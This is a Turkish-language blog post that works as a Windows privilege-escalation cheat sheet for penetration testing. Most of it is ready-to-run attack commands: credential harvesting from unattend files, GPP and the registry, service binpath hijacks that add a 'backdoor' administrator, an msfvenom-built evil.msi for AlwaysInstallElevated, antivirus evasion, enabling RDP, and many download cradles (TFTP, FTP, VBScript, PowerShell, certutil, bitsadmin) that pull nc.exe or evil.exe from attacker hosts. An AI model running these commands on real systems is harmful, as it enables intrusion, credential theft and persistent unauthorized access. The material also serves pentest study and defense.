Bugünkü blog yazımda sizlerle Windows işletim sisteminde derinlemesine yetki yükseltmesi için kullanılacak olan komutları ve araçları paylaşacağım. Yetki yükselmesi, saldırganın bir bilgisayarı ele geçirdikten sonra sistemde veya ağda daha yüksek düzeyde izinler almasına izin veren bir sızma testinin en önemli parçasıdır. Bazı araçlar veya eylemler, çalışmak için daha yüksek düzeyde bir yetki gerektirir. Saldırgan, yetkileri olmayan bir sisteme girebilir ve yerel yönetici veya Sistem ayrıcalıkları elde etmek için sistem zayıflığından yararlanabilir. Windows komut satırını kullanarak (CMD) bu zayıflıkları nasıl bulacağımızı ve nasıl sistem hakkında bilgi toplayacağımızı aşağıda sizlerle detaylı bir şekilde paylaşıyorum.

1) Bilgi Toplama
  • Hangi Sisteme Bağlısınız ?

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

  • Ana bilgisayar adını ve kullanıcı adını alma

hostname
echo %username%

  • Ortam hakkında bilgi edinme

SET
echo %PATH%

  • Sistemdeki diğer kullanıcıları listeleme

net users
net user

  • Ağ / Yönlendirme bilgisi listeleme

ipconfig /all
route print
arp -A

  • Aktif Ağ bağlantıları

netstat -ano

  • Güvenlik Duvarı Durumu (yalnızca Win XP SP2 üzerinde çalışmaktadır)

netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule all

  • Zamanlanmış görevleri listeleme

schtasks /query /fo LIST /v

  • Çalışan işlemlerin başlatılmış servislerle nasıl bağlantılı olduğunu kontrol etme

tasklist /SVC

  • Başlatılan Windows servislerinin listesi

net start

  • Windows sürücü listesi (3. parti sürücülerinin zayıflıklarının tespiti için kullanılabilir)

DRIVERQUERY

  • Systeminfo çıktısını exploit-suggester aracı ile kontrol etme

https://github.com/GDSSecurity/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py
python windows-exploit-suggester.py -d 2017-05-27-mssb.xls -i systeminfo.txt

  • windows-privesc aracı ile kontrol etme

https://github.com/pentestmonkey/windows-privesc-check

2) Windows Yönetim Araçları Komut Satırı (WMIC)
  • wmic_info.bat scriptinin indirilerek kullanılması

http://www.fuzzysecurity.com/tutorials/files/wmic_info.rar

  • Sistem bilgisi toplama

wmic COMPUTERSYSTEM get TotalPhysicalMemory,caption
wmic CPU Get /Format:List

  • Yama seviyesinin kontrol edilmesi

wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."

Örnek Kullanım: Windows 2K SP4 – Windows 7 (x86): KiTrap0D (KB979682)
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB979682"

Örnek Kullanım: Windows Vista/2008 6.1.6000 x32,Windows Vista/2008 6.1.6001 x32,Windows 7 6.2.7600 x32,Windows 7/2008 R2 6.2.7600 x64 (Düşük olasılıkla Microsoft Windows Vista / 7 - Ayrıcalıkların Yükselmesi (UAC Bypass)).
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2393802"

3) Depolanan Kimlik Bilgileri
  • Yapılandırma dosyalarını içeren dizinler (ancak tüm dosya sistemini kontrol etmelisiniz). Bu dosyalar açık metin şifreleri veya bir Base64 kodlu formatta şifreleri içerir.

C:\sysprep.inf
C:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml

  • Groups.xml’i SYSVOL içinde arayın. GPO tercihleri, etki alanında yerel kullanıcılar oluşturmak için kullanılabilir. Yani şifreler orada saklanabilir. Kimliği doğrulanmış herhangi bir kullanıcı bu dosyaya okuma erişimine sahip olacaktır. Şifreler AES ile şifrelenir. Ancak statik anahtar msdn web sitesinde yayınlanmaktadır. Böylece şifresini çözülebilirsiniz.
  • “Policy preference” dosyalarında “cPassword” aratın

Services\Services.xml: Element-Specific Attributes
ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
Printers\Printers.xml: SharedPrinter Element
Drives\Drives.xml: Element-Specific Attributes
DataSources\DataSources.xml: Element-Specific Attributes

  • Otomatik araçların kullanılması
    • Metasploit modülleri

post/windows/gather/credentials/gpp
post/windows/gather/enum_unattend

    • Powersploit aracı kullanarak

https://github.com/PowerShellMafia/PowerSploit
Get-GPPPassword
Get-UnattendedInstallFile
Get-Webconfig
Get-ApplicationHost
Get-SiteListPassword
Get-CachedGPPPassword
Get-RegistryAutoLogon

  • Dosya sisteminde aramalar yapma
    • Belirli anahtar kelimelerin aranması

dir /s *pass* == *cred* == *vnc* == *.config*

    • Anahtar kelimelerin belirli dosya türlerinde aranması

    findstr /si password *.xml *.ini *.txt

    • Belirli dosyaların aranması

    dir /b /s unattend.xml
    dir /b /s web.config
    dir /b /s sysprep.inf
    dir /b /s sysprep.xml
    dir /b /s *pass*
    dir /b /s vnc.ini

    • Anahtar kelimelerin kayıt defterinde aranması (ör. “Şifreler”)
    • reg query HKLM /f password /t REG_SZ /s
      reg query HKCU /f password /t REG_SZ /s
      reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
      reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
      reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
      reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
    • Yazılabilir dosyaların bulunması

dir /a-r-d /s /b

4) Güvenilir Servis Yollarının Bulunması
  • Ele geçirilen makinedeki tüm servis yollarının listelenmesi

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

  • Diyelim ki bazı servis yollarını bulduk:

C:\Program Files (x86)\Program Klasörü\Alt Klasör\Dosya.exe

  • Bu hizmetin kayıt girişine Regedit ile bakarsanız ImagePath değerini görebilirsiniz:

C:\Program Files (x86)\Program Klasörü\Alt Klasör\Dosya.exe

  • Güvende olması için aşağıdaki gibi olmalı:

"C:\Program Files (x86)\Program Klasörü\Alt Klasör\Dosya.exe"

  • Windows bu hizmeti çalıştırmayı denediğinde, aşağıdaki yollara sırasıyla bakacak ve bulacağı ilk EXE’yi çalıştıracak:

C:\Program.exe
C:\Program Files.exe
C:\Program Files(x86)\Program Klasörü\Dosya.exe
...

  • Klasör yolunun izinlerini kontrol edin

icacls "C:\Program Files (x86)\Program Klasörü"

  • Path’a yazabilirsek, hizmetle aynı adı taşıyan bir arka kapı koyar ve servisi yeniden başlatırız.

icacls "C:\Program Files (x86)\Program Klasörü"

  • Metasploit modülü

exploit/windows/local/trusted_service_path

5) Zafiyetli Servisleri Bulma
  • Yönetici olmayan kullanıcılar tarafından değiştirilebilecek bir binary path (binpath) özelliğine sahip hizmetleri aramalısınız. Bu durumda kendi yolunuzun komutunu çalıştırmak için binpath’ı değiştirin.

Not: Windows XP, savunmasız birkaç dahili servisle birlikte gelmektedir.Bu güvenlik açığı bulunan hizmetleri aramak için SysInternals’tan accesschk kullanmalısınız.

https://technet.microsoft.com/en-us/sysinternals/bb842062.aspx

  • Windows XP için accesschk’un 5.2 sürümü gereklidir:

https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -qdws "Authenticated Users" C:\Windows\ /accepteula
accesschk.exe -qdws Users C:\Windows\

  • Ardından hizmeti Windows sc kullanarak sorgulamalısınız:

sc qc "vulnerable service name"

  • Ardından, kendi komutlarınızı uygulamak için binpath’ı değiştirin (hizmeti yeniden başlatmanız gerekebilir):

sc config "vuln-service" binpath= "net user backdoor backdoor123 /add"
sc stop "vuln-service"
sc start "vuln-service"
sc config "vuln-service" binpath= "net localgroup Administrators backdoor /add"
sc stop "vuln-service"
sc start "vuln-service"

  • Bağımlılık özelliğini açıkça kullanmanız gerekebilir:

sc stop "vuln-service"
sc config "vuln-service" binPath= "c:\inetpub\wwwroot\runmsf.exe" depend= "" start= demand obj= ".\LocalSystem" password= ""
sc start "vuln-service"

  • Metasploit modülü

exploit/windows/local/service_permissions

6) Yükseltilmiş (sistem) ayrıcalıklara sahip Windows Installer paketi (AlwaysInstallElevated)
  • AlwaysInstallElevated, ayrıcalıklı olmayan kullanıcıların Microsoft Windows Installer Paketi Dosyaları’nı (MSI) yükseltilmiş (SYSTEM) izinleriyle çalıştırma olanağı sağlayan bir ayardır. Öncelikle aşağıdaki kayıt defteri değerinin “1” olarak ayarlanmış olup olmadığını kontrol etmelisiniz.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

  • Eğer kontrol ettiğimiz değer “1” olarak ayarlanmışsa, kendi zararlı msi’nizi oluşturabilirsiniz:

msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi

  • Sonra msi’nizi çalıştırmak için kurban makinedeki msiexec kullanmalısınız:

msiexec /quiet /qn /i C:\evil.msi

  • Metasploit modülü

exploit/windows/local/always_install_elevated

7) Anti-virüs atlatma
  • Veil-Evasion kullanabilirsiniz.
  • PowerShell scriptlerini “derleyerek” kendi çalıştırılabilir kodunuzu yaratabilirsiniz.
  • Özel EXE ve MSI ikili dosyalarını değiştirmek için Metasploit kullanabilirsiniz.
    Modülü çalıştırmadan önce “EXE :: Custom” veya “MSI :: Custom” ayarlarınızı ikili sisteminize işaret edecek şekilde ayarlayabilirsiniz.
7) GUI Alma
  • Meterpreter kullanarak, vnc oturumunu enjekte edebilirsiniz:

run post/windows/manage/payload_inject payload=windows/vncinject/reverse_tcp lhost= options=viewonly=false

  • RDP’yi etkinleştirin:

netsh firewall set service RemoteDesktop enable
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t
REG_DWORD /d 0 /f
reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
sc config TermService start= auto
net start Termservice
netsh.exe
firewall
add portopening TCP 3389 "Remote Desktop"

  • RDP’yi başka bir şekilde de etkinleştirebilirsiniz:

netsh.exe advfirewall firewall add rule name="Remote Desktop - User Mode (TCP-In)" dir=in action=allow
program="%%SystemRoot%%\system32\svchost.exe" service="TermService" description="Inbound rule for the
Remote Desktop service to allow RDP traffic. [TCP 3389] added by LogicDaemon's script" enable=yes
profile=private,domain localport=3389 protocol=tcp

netsh.exe advfirewall firewall add rule name="Remote Desktop - User Mode (UDP-In)" dir=in action=allow
program="%%SystemRoot%%\system32\svchost.exe" service="TermService" description="Inbound rule for the
Remote Desktop service to allow RDP traffic. [UDP 3389] added by LogicDaemon's script" enable=yes
profile=private,domain localport=3389 protocol=udp

run post/windows/manage/enable_rdp

8) Python Exploitlerini Kullanma
Python Exploits’i Windows için Linux’ta Derleyebilirsiniz.

  • pyinstaller’ı windows wine ile Kali üzerine kurun ve sonrasında aşağıdaki komut satırını çalıştırın.

wine ~/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile script.py

  • python betikleriyle aynı dizinin altında bulunan “pyinstaller” komutunu çalıştırın.

wine ~/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile script.py

  • komutunu çalıştırın.

wine ~/.wine/drive_c/dist/script.exe

9) TFTP Yöntemi
Windows XP ve Win 2003, TFTP istemcisi içerir. Windows 7 varsayılan olarak değildir. TFTP istemciler genellikle etkileşimli değildir, bu nedenle elde edilen bir kabuk üzerinde çalışabilirler.
atftpd --daemon --port 69 /tftp
Windows> tftp -i 192.168.30.45 GET nc.exe

10) FTP Yöntemi
Windows FTP istemcisi içeriyor ancak bunlar genellikle etkileşimlidir. FTP istemcisindeki komut dosyası parametreleri: ftp -s’dir.
echo open 192.168.30.5 21> ftp.txt
echo USER username password >> ftp.txt
echo bin >> ftp.txt
echo GET evil.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt

11) VBScript Yöntemi
Aşağıdaki wget-vbs scriptini kopyala yapıştır yaparak kullanabilirsiniz.
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.11.0.2/evil.exe test.txt
12) PowerShell Yöntemi
Aşağıdaki powershell ile kullanabilirsiniz.
echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://10.11.0.2/powerup.ps1" >>wget.ps1
echo $file = "powerup.ps1" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
13) Webdav Yöntemi
  • Kali linux üzerinde wsgidav ve cheroot’u kurmalısınız.

pip install wsgidav cheroot

  • Wsgidav’ı sınırlı bir klasörde başlatın:

mkdir /tmp/webdav_folder
wsgidav --host=0.0.0.0 --port=80 --root=/tmp/webdav_folder

  • Windows’ta bu klasöre “net” komutunu kullanarak bağlanın: (Detaylı bilgi için bu linke tıklayınız.)

net use * http://SİZİN_IP_ADRESİNİZ/

14) BitsAdmin Yöntemi
BitsAdmin indirme veya yükleme işleri oluşturmak ve ilerlemelerini izlemek için kullanabileceğiniz bir komut satırı aracıdır.
bitsadmin /transfer n http://domain/file c:%homepath%file
15) debug.exe Yöntemi
Yürütülebilir dosyayı sıkıştırmak için ilk önce upx komutunu kullanmalısınız:
upx -9 nc.exe
Ardından, yürütülebilir dosyayı uzaktaki sisteme kopyalanması gereken bir dizi çalıştırılabilir komuta dönüştürmek için exe2bat kullanmalısınız:
wine exe2bat.exe nc.exe nc.txt
Ardından uzaktaki nc.txt dosyasındaki her komutu yapıştırın. Komutlar yavaş yavaş hedef makinedeki yürütülebilir dosyayı yeniden revize edecektir.
16) certuril Yöntemi
BitsAdmin indirme veya yükleme işleri oluşturmak ve ilerlemelerini izlemek için kullanabileceğiniz bir komut satırı aracıdır.
certutil.exe -URL
certutil.exe -urlcache -split -f https://myserver/filename outputfilename

herhangi bir dosyayı alır ve aşağıdaki lokasyona indirir:
C:\Users\subTee\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
17) Dosya Transferi Yöntemi
  • PowerShell ile Dosya İndirme: PowerShell, yöneticiler tarafından tehdit olarak göz ardı edilebilecek script dillerinden biridir. Bununla birlikte, nasıl kullanacağını bilen birine çok sayıda seçenek ve yetenek sağlayabilir. En büyük yararı, Windows Server 2003’ten bu yana Windows’a özgü olmasıdır. Aşağıda, bir dosyayı yerel dosya sistemine Internet’teki bir web sunucusundan indirmek için kullanılabilecek basit bir komut dosyası örneği verilmiştir:

$p = New-Object System.Net.WebClient $p.DownloadFile("http://domain/file" "C:%homepath%file")

Bu scripti çalıştırmak için, bir PowerShell penceresinde aşağıdaki komutu çalıştırın:

PS C:> .test.ps1

Bazen, PowerShell yürütme politikası kısıtlanmış olarak ayarlanmıştır. Bu durumda, aşağıdaki komutu kullanarak sınırsız olarak ayarlanmadıkça, komutları veya komut dosyalarını PowerShell aracılığıyla yürütemezsiniz.

C:>powershell set-executionpolicy unrestricted

  • Visual Basic ile Dosya İndirme: Visual Basic’in son sürümü 1998’den beri Windows makinelerinde standart olarak geliyor. Aşağıdaki komut dosyası ile seçtiğiniz bir dosyayı indirebilirsiniz.

Set args = Wscript.Arguments Url = "http://domain/file"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send with bStrm .type = 1 ' .open .write xHttp.responseBody .savetofile " C:%homepath%file", 2 '
end with

Cscript, komut satırı seçeneklerini geçmenizi sağlayan ve komut dosyası özelliklerini ayarlamanızı sağlayan Windows Komut Dosyası Sistemidir. Bu scripti çalıştırmak için, aşağıdaki komutu CMD’de çalıştırın:

C:>cscript test.vbs

  • Perl ile Dosya İndirme: Perl, hemen hemen her şey için kullanılabilecek çok yönlü bir script dilidir. Perl kullanmak, dosyaları yerel ana bilgisayara indirmeyi çok kolaylaştırır.

#!/usr/bin/perl use LWP::Simple; getstore("http://domain/file", "file");

Bu scripti çalıştırmak için, aşağıdaki komutu CMD’de çalıştırın:

root@kali:~# perl test.pl

  • Python ile Dosya İndirme: Python, kod okunabilirliğini vurgulayan genel amaçlı bir script dilidir. Çoğu script dilinde olduğu gibi, amaç bir programlama dili için gerekenden daha az kod yazarken hedeflenen görevi yerine getirmektir.

#!/usr/bin/python import urllib2 u = urllib2.urlopen('http://domain/file') localFile = open('local_file', 'w') localFile.write(u.read()) localFile.close()

Bu scripti çalıştırmak için, aşağıdaki komutu kullanabilirsiniz:

root@kali:~# python test.py

  • Ruby ile Dosya İndirme: Ruby, çerçeveler oluşturmaktan (Metasploit gibi düşünün) dosya indirme gibi basit görevlere kadar birçok şey için kullanılabilen nesne yönelimli bir programlama dilidir.

#!/usr/bin/ruby require 'net/http' Net::HTTP.start("www.domain.com") { |http| r = http.get("/file") open("save_location", "wb") { |file| file.write(r.body) } }

Bu scripti çalıştırmak için, aşağıdaki komutu kullanabilirsiniz:

root@kali:~# ruby test.rb

  • PHP ile Dosya İndirme: PHP genellikle web geliştirme için kullanılan bir sunucu tarafı kodlama dilidir, ancak genel amaçlı bir kodlama dili olarak da kullanılabilir.

#!/usr/bin/php
<?php
$data = @file("http://example.com/file");
$lf = "local_file";
$fh = fopen($lf, 'w');
fwrite($fh, $data[0]);
fclose($fh);
?>

Bu scripti çalıştırmak için, aşağıdaki komutu kullanabilirsiniz:

root@kali:~# php test.php